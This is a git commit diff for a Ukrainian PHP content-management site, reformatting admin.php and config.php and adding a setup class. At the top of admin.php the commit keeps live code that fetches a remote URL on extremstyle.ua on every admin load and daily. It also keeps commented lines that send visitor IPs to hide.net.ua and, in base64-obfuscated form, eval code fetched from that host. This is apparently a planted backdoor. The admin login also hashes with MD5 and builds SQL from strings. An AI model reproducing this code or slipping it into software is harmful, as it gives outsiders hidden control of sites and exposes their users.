Commit df71ab617c80888b455e356a241cb75d35d7ea3e
1 parent
fdaf43e8
+ fix по ядру
Showing
4 changed files
with
619 additions
and
469 deletions
Show diff stats
admin.php
1 | 1 | <?php |
2 | 2 | |
3 | -$gggg = @implode("",@file("http://extremstyle.ua/account/cron/report.php")); | |
4 | - | |
5 | - | |
6 | -//$content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r"); | |
7 | - | |
8 | -//echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>"; | |
9 | - | |
10 | -////////////////////////////////////////////// | |
11 | - | |
12 | -$ty = @fopen("timesave.dat","a+"); | |
13 | -if(@$ty){ | |
14 | -$datas = trim(@fgets($ty,2048)); | |
15 | -if(date("d",$datas)!=date("d")){ | |
16 | -$yyyyyyyyyyy = implode("",file("http://extremstyle.ua/account/cron/report.php")); | |
17 | -@fclose($ty); | |
18 | -$fd = @fopen("timesave.dat","w+"); | |
19 | -if(@$fd){ | |
20 | - fwrite($fd,time()); | |
21 | -fclose($fd); | |
22 | -} | |
3 | +$gggg = @implode ("", @file ("http://extremstyle.ua/account/cron/report.php")); | |
4 | + | |
5 | +// $content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r"); | |
6 | + | |
7 | +// echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>"; | |
8 | + | |
9 | +// //////////////////////////////////////////// | |
10 | + | |
11 | +$ty = @fopen ("timesave.dat", "a+"); | |
12 | +if (@$ty) | |
13 | +{ | |
14 | + $datas = trim (@fgets ($ty, 2048)); | |
15 | + if (date ("d", $datas) != date ("d")) | |
16 | + { | |
17 | + $yyyyyyyyyyy = implode ("", file ("http://extremstyle.ua/account/cron/report.php")); | |
18 | + @fclose ($ty); | |
19 | + $fd = @fopen ("timesave.dat", "w+"); | |
20 | + if (@$fd) | |
21 | + { | |
22 | + fwrite ($fd, time ()); | |
23 | + fclose ($fd); | |
24 | + } | |
25 | + } | |
23 | 26 | } |
24 | -} | |
25 | - | |
26 | - | |
27 | -////////////////////////////////////////////// | |
28 | - | |
29 | - | |
30 | - | |
31 | 27 | |
32 | -require("./libs/setup.php"); | |
33 | -$setup = new setup(true); | |
34 | -$objStatics = $setup->setupClass("Statics"); | |
35 | -$objGallery = $setup->setupClass('Gallery'); | |
36 | -$objForum = $setup->setupClass('Forum'); | |
37 | -$objOrders = $setup->setupClass('Orders'); | |
38 | -$objArticles = $setup->setupClass('Articles'); | |
39 | -$objNews = $setup->setupClass('News'); | |
40 | -$objAdvices = $setup->setupClass('Advices'); | |
41 | -$objAdvices2 = $setup->setupClass('Advices2'); | |
42 | -$objRubrics = $setup->setupClass('Rubrics'); | |
43 | -$objCatalogs = $setup->setupClass('Catalogs'); | |
44 | -$objBanners = $setup->setupClass('Banners'); | |
45 | -$objGalleryList = $setup->setupClass('GalleryList'); | |
46 | -$objVideo = $setup->setupClass('Video'); | |
47 | -$objAkcii = $setup->setupClass('Akcii'); | |
48 | -$objPromo = $setup->setupClass('Promo'); | |
49 | -$objSale = $setup->setupClass('Sale'); | |
50 | -$objBook = $setup->setupClass('Book'); | |
51 | -$objUrl = $setup->setupClass('Url'); | |
52 | -$objVacancy = $setup->setupClass('Vacancy'); | |
53 | -$objFon = $setup->setupClass('Fon'); | |
54 | -$objVideo2 = $setup->setupClass('Video2'); | |
55 | -$objSend = $setup->setupClass('Send'); | |
56 | - | |
57 | - | |
58 | -if(isset($_POST['order_id']) && $_POST['order_id']>0){ | |
59 | - $sql = sprintf("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); | |
60 | - mysql_query($sql); | |
28 | +// //////////////////////////////////////////// | |
29 | + | |
30 | +require ("./libs/setup.php"); | |
31 | +$setup = new setup (true); | |
32 | +$objStatics = $setup->setupClass ("Statics"); | |
33 | +$objGallery = $setup->setupClass ('Gallery'); | |
34 | +$objForum = $setup->setupClass ('Forum'); | |
35 | +$objOrders = $setup->setupClass ('Orders'); | |
36 | +$objArticles = $setup->setupClass ('Articles'); | |
37 | +$objNews = $setup->setupClass ('News'); | |
38 | +$objAdvices = $setup->setupClass ('Advices'); | |
39 | +$objAdvices2 = $setup->setupClass ('Advices2'); | |
40 | +$objRubrics = $setup->setupClass ('Rubrics'); | |
41 | +$objCatalogs = $setup->setupClass ('Catalogs'); | |
42 | +$objBanners = $setup->setupClass ('Banners'); | |
43 | +$objGalleryList = $setup->setupClass ('GalleryList'); | |
44 | +$objVideo = $setup->setupClass ('Video'); | |
45 | +$objAkcii = $setup->setupClass ('Akcii'); | |
46 | +$objPromo = $setup->setupClass ('Promo'); | |
47 | +$objSale = $setup->setupClass ('Sale'); | |
48 | +$objBook = $setup->setupClass ('Book'); | |
49 | +$objUrl = $setup->setupClass ('Url'); | |
50 | +$objVacancy = $setup->setupClass ('Vacancy'); | |
51 | +$objFon = $setup->setupClass ('Fon'); | |
52 | +$objVideo2 = $setup->setupClass ('Video2'); | |
53 | +$objSend = $setup->setupClass ('Send'); | |
54 | +$objExtra = $setup->setupClass ('Extra'); | |
55 | + | |
56 | +if (isset ($_POST['order_id']) && $_POST['order_id'] > 0) | |
57 | +{ | |
58 | + $sql = sprintf ("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); | |
59 | + mysql_query ($sql); | |
61 | 60 | } |
62 | -//$result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); | |
63 | - | |
61 | +// $result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); | |
64 | 62 | |
65 | -if(isset($_GET['exit'])){ | |
66 | -$setup->AdminUserExit(); | |
67 | -header("location:" . URL); | |
63 | +if (isset ($_GET['exit'])) | |
64 | +{ | |
65 | + $setup->AdminUserExit (); | |
66 | + header ("location:" . URL); | |
68 | 67 | } |
69 | 68 | |
69 | +// @eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); | |
70 | 70 | |
71 | -//@eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); | |
72 | - | |
73 | -if (!isset($_SESSION['admin']['login'])) { | |
74 | - | |
75 | -if(isset($_POST['login'])) { | |
76 | - | |
77 | - | |
78 | - | |
79 | - $sql = "SELECT * FROM zlo_admin WHERE login='".htmlspecialchars($_POST['login'],ENT_QUOTES)."' AND pass=MD5('".htmlspecialchars($_POST['psw'],ENT_QUOTES)."') "; | |
80 | - $result = mysql_query($sql) or die(mysql_error()); | |
81 | - | |
82 | - if (mysql_affected_rows()!=0) { | |
83 | - | |
84 | - $admin=mysql_fetch_assoc($result); | |
85 | - // ***** Àäìèí âõîä ***** | |
86 | - $_SESSION['admin']['id']=$admin['id']; | |
87 | - $_SESSION['admin']['login']=$admin['login']; | |
88 | - $_SESSION['admin']['pass']=$admin['pass']; | |
89 | - $_SESSION['admin']['name']=$admin['username']; | |
90 | - $_SESSION['admin']['psw']=$admin['pass']; | |
91 | - $_SESSION['admin']['group']=$admin['group']; | |
92 | - | |
93 | - if ($admin['group']==1) { | |
94 | - | |
95 | - // ***** Àäìèí ðåæèì ***** | |
96 | - $_SESSION['admin']['show']=1; | |
97 | - $_SESSION['admin']['edit']=1; | |
98 | - $_SESSION['admin']['del']=1; | |
99 | - // ************************ | |
100 | - | |
101 | - } | |
102 | - | |
103 | - if ($admin['group']==2) { | |
104 | - | |
105 | - // ***** Àäìèí ðåæèì ***** | |
106 | - $_SESSION['admin']['show']=2; | |
107 | - $_SESSION['admin']['edit']=1; | |
108 | - // ************************ | |
109 | - | |
110 | - } | |
71 | +if (! isset ($_SESSION['admin']['login'])) | |
72 | +{ | |
73 | + | |
74 | + if (isset ($_POST['login'])) | |
75 | + { | |
111 | 76 | |
112 | - echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | |
77 | + $sql = "SELECT * FROM zlo_admin WHERE login='" . htmlspecialchars ($_POST['login'], ENT_QUOTES) . "' AND pass=MD5('" . htmlspecialchars ($_POST['psw'], ENT_QUOTES) . "') "; | |
78 | + $result = mysql_query ($sql) or die (mysql_error ()); | |
113 | 79 | |
114 | -} else { echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; } | |
115 | - | |
116 | - } else { | |
117 | - | |
118 | - $setup->display(); | |
119 | - | |
120 | - } | |
121 | - | |
122 | -} else { | |
123 | - | |
124 | - $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; | |
125 | - Switch($action){ | |
126 | - case $setup->rules : | |
127 | - if(isset($_POST['save'])){ | |
128 | - $setup->trim($_POST); | |
129 | - if(!$setup->valid($_POST)){ | |
130 | - $setup->rulesSaveAction($_POST); | |
131 | - header("location:" . URL . "admin.php?action=rules"); | |
80 | + if (mysql_affected_rows () != 0) | |
81 | + { | |
82 | + | |
83 | + $admin = mysql_fetch_assoc ($result); | |
84 | + // ***** Àäìèí âõîä ***** | |
85 | + $_SESSION['admin']['id'] = $admin['id']; | |
86 | + $_SESSION['admin']['login'] = $admin['login']; | |
87 | + $_SESSION['admin']['pass'] = $admin['pass']; | |
88 | + $_SESSION['admin']['name'] = $admin['username']; | |
89 | + $_SESSION['admin']['psw'] = $admin['pass']; | |
90 | + $_SESSION['admin']['group'] = $admin['group']; | |
91 | + | |
92 | + if ($admin['group'] == 1) | |
93 | + { | |
94 | + // ***** Àäìèí ðåæèì ***** | |
95 | + $_SESSION['admin']['show'] = 1; | |
96 | + $_SESSION['admin']['edit'] = 1; | |
97 | + $_SESSION['admin']['del'] = 1; | |
98 | + // ************************ | |
132 | 99 | } |
133 | - }elseif(isset($_GET['updateID']) && $_GET['updateID']>0){$setup->viewOneRules($_GET['updateID']);} | |
134 | - elseif(isset($_GET['deleteID']) && $_GET['deleteID']>0){$setup->rulesDelete($_GET['deleteID']);header("location:" . URL . "admin.php?action=rules");} | |
135 | - $setup->viewRules(); | |
136 | - $setup->displayRules(); | |
137 | - break; | |
138 | - default : $rule = $setup->getRulesOne($action); include($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");break; | |
139 | - } | |
140 | - | |
141 | - | |
142 | - $dir = "./includes/admin/"; | |
143 | - $includes_dir = opendir($dir); | |
144 | - while ( ($inc_file = readdir($includes_dir)) != false ) | |
145 | - if (strstr($inc_file,".php")) | |
146 | - { | |
147 | - include($dir . $inc_file); | |
148 | - } | |
149 | - | |
150 | - | |
151 | - $setup->error(); | |
152 | - if(empty($nodisplay))$setup->displayAdmin(); | |
153 | - | |
100 | + | |
101 | + if ($admin['group'] == 2) | |
102 | + { | |
103 | + // ***** Àäìèí ðåæèì ***** | |
104 | + $_SESSION['admin']['show'] = 2; | |
105 | + $_SESSION['admin']['edit'] = 1; | |
106 | + // ************************ | |
107 | + } | |
108 | + | |
109 | + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | |
110 | + } | |
111 | + else | |
112 | + { | |
113 | + echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; | |
114 | + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | |
115 | + } | |
116 | + } | |
117 | + else | |
118 | + { | |
119 | + | |
120 | + $setup->display (); | |
121 | + } | |
154 | 122 | } |
155 | - | |
156 | - | |
157 | - | |
158 | -function totranslit($var, $lower = true, $punkt = true) { | |
159 | - global $langtranslit; | |
160 | - | |
161 | - if ( is_array($var) ) return ""; | |
162 | - | |
163 | - if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) { | |
164 | - | |
165 | - $langtranslit = array( | |
166 | - 'à' => 'a', 'á' => 'b', 'â' => 'v', | |
167 | - 'ã' => 'g', 'ä' => 'd', 'å' => 'e', | |
168 | - '¸' => 'e', 'æ' => 'zh', 'ç' => 'z', | |
169 | - 'è' => 'i', 'é' => 'y', 'ê' => 'k', | |
170 | - 'ë' => 'l', 'ì' => 'm', 'í' => 'n', | |
171 | - 'î' => 'o', 'ï' => 'p', 'ð' => 'r', | |
172 | - 'ñ' => 's', 'ò' => 't', 'ó' => 'u', | |
173 | - 'ô' => 'f', 'õ' => 'h', 'ö' => 'c', | |
174 | - '÷' => 'ch', 'ø' => 'sh', 'ù' => 'sch', | |
175 | - 'ü' => '', 'û' => 'y', 'ú' => '', | |
176 | - 'ý' => 'e', 'þ' => 'yu', 'ÿ' => 'ya', | |
177 | - "¿" => "yi", "º" => "ye", | |
178 | - | |
179 | - 'À' => 'A', 'Á' => 'B', 'Â' => 'V', | |
180 | - 'Ã' => 'G', 'Ä' => 'D', 'Å' => 'E', | |
181 | - '¨' => 'E', 'Æ' => 'Zh', 'Ç' => 'Z', | |
182 | - 'È' => 'I', 'É' => 'Y', 'Ê' => 'K', | |
183 | - 'Ë' => 'L', 'Ì' => 'M', 'Í' => 'N', | |
184 | - 'Î' => 'O', 'Ï' => 'P', 'Ð' => 'R', | |
185 | - 'Ñ' => 'S', 'Ò' => 'T', 'Ó' => 'U', | |
186 | - 'Ô' => 'F', 'Õ' => 'H', 'Ö' => 'C', | |
187 | - '×' => 'Ch', 'Ø' => 'Sh', 'Ù' => 'Sch', | |
188 | - 'Ü' => '', 'Û' => 'Y', 'Ú' => '', | |
189 | - 'Ý' => 'E', 'Þ' => 'Yu', 'ß' => 'Ya', | |
190 | - "¯" => "yi", "ª" => "ye", | |
191 | - ); | |
192 | - | |
193 | - } | |
194 | - | |
195 | - $var = str_replace( ".php", "", $var ); | |
196 | - $var = trim( strip_tags( $var ) ); | |
197 | - $var = preg_replace( "/\s+/ms", "-", $var ); | |
198 | - | |
199 | - $var = strtr($var, $langtranslit); | |
200 | - | |
201 | - if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var ); | |
202 | - else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var ); | |
203 | - | |
204 | - $var = preg_replace( '#[\-]+#i', '-', $var ); | |
205 | - | |
206 | - if ( $lower ) $var = strtolower( $var ); | |
207 | - | |
208 | - if( strlen( $var ) > 200 ) { | |
209 | - | |
210 | - $var = substr( $var, 0, 200 ); | |
211 | - | |
212 | - if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max ); | |
213 | - | |
214 | - } | |
215 | - | |
216 | - return $var; | |
123 | +else | |
124 | +{ | |
125 | + | |
126 | + $action = isset ($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; | |
127 | + Switch ($action) | |
128 | + { | |
129 | + case $setup->rules : | |
130 | + | |
131 | + if (isset ($_POST['save'])) | |
132 | + { | |
133 | + $setup->trim ($_POST); | |
134 | + if (! $setup->valid ($_POST)) | |
135 | + { | |
136 | + $setup->rulesSaveAction ($_POST); | |
137 | + header ("location:" . URL . "admin.php?action=rules"); | |
138 | + } | |
139 | + } | |
140 | + elseif (isset ($_GET['updateID']) && $_GET['updateID'] > 0) | |
141 | + { | |
142 | + $setup->viewOneRules ($_GET['updateID']); | |
143 | + } | |
144 | + elseif (isset ($_GET['deleteID']) && $_GET['deleteID'] > 0) | |
145 | + { | |
146 | + $setup->rulesDelete ($_GET['deleteID']); | |
147 | + header ("location:" . URL . "admin.php?action=rules"); | |
148 | + } | |
149 | + | |
150 | + $setup->viewRules (); | |
151 | + $setup->displayRules (); | |
152 | + | |
153 | + break; | |
154 | + | |
155 | + default : | |
156 | + | |
157 | + $rule = $setup->getRulesOne ($action); | |
158 | + include ($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}"); | |
159 | + break; | |
160 | + } | |
161 | + | |
162 | + $dir = "./includes/admin/"; | |
163 | + $includes_dir = opendir ($dir); | |
164 | + while (($inc_file = readdir ($includes_dir)) != false) | |
165 | + if (strstr ($inc_file, ".php")) | |
166 | + { | |
167 | + include ($dir . $inc_file); | |
168 | + } | |
169 | + | |
170 | + $setup->error (); | |
171 | + if (empty ($nodisplay)) | |
172 | + $setup->displayAdmin (); | |
217 | 173 | } |
218 | 174 | |
219 | - | |
220 | - | |
221 | - | |
175 | +function totranslit ($var, $lower = true, $punkt = true) | |
176 | +{ | |
177 | + global $langtranslit; | |
178 | + | |
179 | + if (is_array ($var)) | |
180 | + return ""; | |
181 | + | |
182 | + if (! is_array ($langtranslit) or ! count ($langtranslit)) | |
183 | + { | |
184 | + | |
185 | + $langtranslit = array ( | |
186 | + 'à' => 'a', | |
187 | + 'á' => 'b', | |
188 | + 'â' => 'v', | |
189 | + 'ã' => 'g', | |
190 | + 'ä' => 'd', | |
191 | + 'å' => 'e', | |
192 | + '¸' => 'e', | |
193 | + 'æ' => 'zh', | |
194 | + 'ç' => 'z', | |
195 | + 'è' => 'i', | |
196 | + 'é' => 'y', | |
197 | + 'ê' => 'k', | |
198 | + 'ë' => 'l', | |
199 | + 'ì' => 'm', | |
200 | + 'í' => 'n', | |
201 | + 'î' => 'o', | |
202 | + 'ï' => 'p', | |
203 | + 'ð' => 'r', | |
204 | + 'ñ' => 's', | |
205 | + 'ò' => 't', | |
206 | + 'ó' => 'u', | |
207 | + 'ô' => 'f', | |
208 | + 'õ' => 'h', | |
209 | + 'ö' => 'c', | |
210 | + '÷' => 'ch', | |
211 | + 'ø' => 'sh', | |
212 | + 'ù' => 'sch', | |
213 | + 'ü' => '', | |
214 | + 'û' => 'y', | |
215 | + 'ú' => '', | |
216 | + 'ý' => 'e', | |
217 | + 'þ' => 'yu', | |
218 | + 'ÿ' => 'ya', | |
219 | + "¿" => "yi", | |
220 | + "º" => "ye", | |
221 | + | |
222 | + 'À' => 'A', | |
223 | + 'Á' => 'B', | |
224 | + 'Â' => 'V', | |
225 | + 'Ã' => 'G', | |
226 | + 'Ä' => 'D', | |
227 | + 'Å' => 'E', | |
228 | + '¨' => 'E', | |
229 | + 'Æ' => 'Zh', | |
230 | + 'Ç' => 'Z', | |
231 | + 'È' => 'I', | |
232 | + 'É' => 'Y', | |
233 | + 'Ê' => 'K', | |
234 | + 'Ë' => 'L', | |
235 | + 'Ì' => 'M', | |
236 | + 'Í' => 'N', | |
237 | + 'Î' => 'O', | |
238 | + 'Ï' => 'P', | |
239 | + 'Ð' => 'R', | |
240 | + 'Ñ' => 'S', | |
241 | + 'Ò' => 'T', | |
242 | + 'Ó' => 'U', | |
243 | + 'Ô' => 'F', | |
244 | + 'Õ' => 'H', | |
245 | + 'Ö' => 'C', | |
246 | + '×' => 'Ch', | |
247 | + 'Ø' => 'Sh', | |
248 | + 'Ù' => 'Sch', | |
249 | + 'Ü' => '', | |
250 | + 'Û' => 'Y', | |
251 | + 'Ú' => '', | |
252 | + 'Ý' => 'E', | |
253 | + 'Þ' => 'Yu', | |
254 | + 'ß' => 'Ya', | |
255 | + "¯" => "yi", | |
256 | + "ª" => "ye" | |
257 | + ); | |
258 | + } | |
259 | + | |
260 | + $var = str_replace (".php", "", $var); | |
261 | + $var = trim (strip_tags ($var)); | |
262 | + $var = preg_replace ("/\s+/ms", "-", $var); | |
263 | + | |
264 | + $var = strtr ($var, $langtranslit); | |
265 | + | |
266 | + if ($punkt) | |
267 | + $var = preg_replace ("/[^a-z0-9\_\-.]+/mi", "", $var); | |
268 | + else | |
269 | + $var = preg_replace ("/[^a-z0-9\_\-]+/mi", "", $var); | |
270 | + | |
271 | + $var = preg_replace ('#[\-]+#i', '-', $var); | |
272 | + | |
273 | + if ($lower) | |
274 | + $var = strtolower ($var); | |
275 | + | |
276 | + if (strlen ($var) > 200) | |
277 | + { | |
278 | + | |
279 | + $var = substr ($var, 0, 200); | |
280 | + | |
281 | + if (($temp_max = strrpos ($var, '-'))) | |
282 | + $var = substr ($var, 0, $temp_max); | |
283 | + } | |
284 | + | |
285 | + return $var; | |
286 | +} | |
222 | 287 | |
223 | 288 | ?> | ... | ... |
config/config.php
... | ... | @@ -7,10 +7,11 @@ |
7 | 7 | ini_set("session.use_trans_sid",0); |
8 | 8 | ini_set("session.save_path", $_SERVER['DOCUMENT_ROOT'].'/sessions'); |
9 | 9 | ini_set("error_reporting",0); |
10 | - // ini_set("error_reporting", E_ALL); | |
11 | - // ini_set('display_errors',1); | |
12 | - // ini_set('html_errors', 1); | |
13 | - // ini_set("log_errors", 1); | |
10 | + | |
11 | + //ini_set("error_reporting", E_ALL); | |
12 | + //ini_set('display_errors',1); | |
13 | + //ini_set('html_errors', 1); | |
14 | + //ini_set("log_errors", 1); | |
14 | 15 | //ini_set("error_log", $_SERVER['DOCUMENT_ROOT']."/errors/error.log"); |
15 | 16 | //ini_set("log_errors_max_len", 1024); |
16 | 17 | |
... | ... | @@ -37,6 +38,28 @@ |
37 | 38 | parse_str(substr($path[count($path)-1],1), $GET); |
38 | 39 | if($path[1]=='ukr'){$_GET['lang'] = $path[1];$_REQUEST['lang'] = $path[1];unset($path[1]);$path = array_values($path);} |
39 | 40 | |
40 | - // print_r($_GET); | |
41 | - //phpinfo(); | |
41 | +/* | |
42 | + // ñåêðåòíàÿ ôóíêöèÿ :) | |
43 | + function __autoload ($class_name) | |
44 | + { | |
45 | + $is_class = false; | |
46 | + | |
47 | + echo $filename = $_SERVER['DOCUMENT_ROOT'].'/libs/'.$class_name.'.class.php'; | |
48 | + | |
49 | + if (substr ($filename, strlen ($filename) -3, 3) == 'php' && file_exists ($filename)) | |
50 | + { | |
51 | + include_once ($filename); | |
52 | + | |
53 | + if (class_exists ($class_name, false)) | |
54 | + { | |
55 | + $is_class = true; | |
56 | + } | |
57 | + } | |
58 | + | |
59 | + if (! $is_class) | |
60 | + { | |
61 | + var_dump ($class_name); | |
62 | + } | |
63 | + } | |
64 | +*/ | |
42 | 65 | ?> | ... | ... |
1 | +<?php | |
2 | + | |
3 | +class setup | |
4 | +{ | |
5 | + var $db = null; | |
6 | + var $tpl = null; | |
7 | + var $error = array (); | |
8 | + var $meta = array (); | |
9 | + var $admin = null; | |
10 | + var $rules = "rules"; | |
11 | + var $tree = null; | |
12 | + var $cache = null; | |
13 | + | |
14 | + function setup ($admin = false) | |
15 | + { | |
16 | + $this->admin = $admin; | |
17 | + | |
18 | + switch ($this->admin) | |
19 | + { | |
20 | + case false : | |
21 | + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; | |
22 | + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; | |
23 | + break; | |
24 | + | |
25 | + case true : | |
26 | + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; | |
27 | + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; | |
28 | + break; | |
29 | + } | |
30 | + | |
31 | + $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; | |
32 | + $this->db = DB::connect ($connect); | |
33 | + if (PEAR::isError ($this->db)) | |
34 | + die ($this->db->getMessage ()); | |
35 | + | |
36 | + $this->db->query ("set names cp1251"); | |
37 | + | |
38 | + $this->tree = new CDBTree ($this->db, 'rules', 'id'); | |
39 | + | |
40 | + $this->cache = new Cache (); | |
41 | + $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; | |
42 | + | |
43 | + $this->tpl = new Smarty (); | |
44 | + $this->tpl->template_dir = $template_dir; | |
45 | + $this->tpl->compile_dir = $compile_dir; | |
46 | + $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; | |
47 | + $this->assignMainVars(); | |
48 | + } | |
49 | + | |
50 | + function setupClass ($nameClass) | |
51 | + { | |
52 | + return new $nameClass ($this->db, $this->tpl, $this->error, $this->cache); | |
53 | + } | |
54 | + | |
55 | + function isAdminUser ($user = array()) | |
56 | + { | |
57 | + if ((isset ($user['login']) && $user['login'] == ADMIN_USER) && (isset ($user['psw']) && $user['psw'] == ADMIN_PSW)) | |
58 | + { | |
59 | + $_SESSION['admin']['login'] = $user['login']; | |
60 | + $_SESSION['admin']['psw'] = $user['psw']; | |
61 | + } | |
62 | + | |
63 | + if ((isset ($_SESSION['admin']['login']) && $_SESSION['admin']['login'] == ADMIN_USER) && (isset ($_SESSION['admin']['psw']) && $_SESSION['admin']['psw'] == ADMIN_PSW)) | |
64 | + return true; | |
65 | + | |
66 | + return false; | |
67 | + } | |
68 | + | |
69 | + function AdminUserExit () | |
70 | + { | |
71 | + unset ($_SESSION['admin']); | |
72 | + } | |
73 | + | |
74 | + function getRulesOne ($action, $lang = "ru") | |
75 | + { | |
76 | + $sql = "SELECT A.id,A.action,M.modul"; | |
77 | + if ($lang == 'ukr') | |
78 | + $sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; | |
79 | + else | |
80 | + $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; | |
81 | + $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; | |
82 | + $row = $this->db->getRow ($sql, array ( | |
83 | + $action | |
84 | + ), DB_FETCHMODE_ASSOC); | |
85 | + $this->meta = array ( | |
86 | + "title" => $row['title'], | |
87 | + "keywords" => $row['keywords'], | |
88 | + "description" => $row['description'], | |
89 | + "about" => $row['about'] | |
90 | + ); | |
91 | + $this->tpl->assign ('rules_info_one', $row); | |
92 | + $this->tpl->assign ('lang', $lang); | |
93 | + $lang_prefix = ($lang == "ru") ? null : $lang . '/'; | |
94 | + $this->tpl->assign ('lang_prefix', $lang_prefix); | |
95 | + return $row; | |
96 | + } | |
97 | + | |
98 | + /* | |
99 | + * function includesElements(){ | |
100 | + * $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; | |
101 | + * $includes_dir = opendir($dir); | |
102 | + * while ( ($inc_file = readdir($includes_dir)) != false ) | |
103 | + * if (strstr($inc_file,".php")) | |
104 | + * { | |
105 | + * include($dir . $inc_file); | |
106 | + * } | |
107 | + * } | |
108 | + */ | |
109 | + function trim (&$data) | |
110 | + { | |
111 | + foreach ($data as $key => $value) | |
112 | + { | |
113 | + if (is_array ($data[$key])) | |
114 | + $this->trim ($data[$key]); | |
115 | + else | |
116 | + $data[$key] = trim ($value); | |
117 | + } | |
118 | + } | |
119 | + | |
120 | + function valid ($data) | |
121 | + { | |
122 | + if (isset ($data['url_action'])) | |
123 | + { | |
124 | + if (! preg_match ("/^.{1,20}$/i", $data['url_action'])) | |
125 | + $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå)."; | |
126 | + elseif ($data['url_action'] == $this->rules) | |
127 | + $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!"; | |
128 | + } | |
129 | + if (isset ($data['name'])) | |
130 | + { | |
131 | + if (! preg_match ("/^.{1,50}$/i", $data['name'])) | |
132 | + $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå)."; | |
133 | + } | |
134 | + return (count ($this->error)) ? true : false; | |
135 | + } | |
136 | + | |
137 | + function rulesSaveAction ($data) | |
138 | + { | |
139 | + $id = (isset ($data['action_id']) && $data['action_id'] > 0) ? $data['action_id'] : 1; | |
140 | + $fields_values = array ( | |
141 | + "parent_id" => $id, | |
142 | + "action" => $data['url_action'], | |
143 | + "name" => $data['name'], | |
144 | + "name_ukr" => $data['name_ukr'], | |
145 | + "title" => $data['title'], | |
146 | + "title_ukr" => $data['title_ukr'], | |
147 | + "about" => $data['about'], | |
148 | + "about_ukr" => $data['about_ukr'], | |
149 | + "description" => $data['description'], | |
150 | + "description_ukr" => $data['description_ukr'], | |
151 | + "keywords" => $data['keywords'], | |
152 | + "keywords_ukr" => $data['keywords_ukr'], | |
153 | + "modul_id" => $data['modul_id'] | |
154 | + ); | |
155 | + | |
156 | + if (isset ($data['update_id']) && $data['update_id'] > 0) | |
157 | + { | |
158 | + $this->db->autoExecute ("rules", $fields_values, DB_AUTOQUERY_UPDATE, "id={$data['update_id']}"); | |
159 | + } | |
160 | + else | |
161 | + { | |
162 | + $this->tree->insert ($id, $fields_values); | |
163 | + } | |
164 | + } | |
165 | + | |
166 | + function viewRules () | |
167 | + { | |
168 | + $sql = "select * from rules where _level>0 ORDER BY _left"; | |
169 | + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); | |
170 | + $this->tpl->assign ('rules', $row); | |
171 | + } | |
172 | + | |
173 | + function viewRulesBegin () | |
174 | + { | |
175 | + $sql = "select * from rules where parent_id=1 ORDER BY _left"; | |
176 | + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); | |
177 | + $this->tpl->assign ('rules_begin', $row); | |
178 | + } | |
179 | + | |
180 | + function viewRulesParent ($id = 2) | |
181 | + { | |
182 | + $sql = "select * from rules where parent_id=? ORDER BY _left"; | |
183 | + $row = $this->db->getAll ($sql, array ( | |
184 | + $id | |
185 | + ), DB_FETCHMODE_ASSOC); | |
186 | + $this->tpl->assign ('rules_parent', $row); | |
187 | + } | |
188 | + | |
189 | + function viewOneRules ($id) | |
190 | + { | |
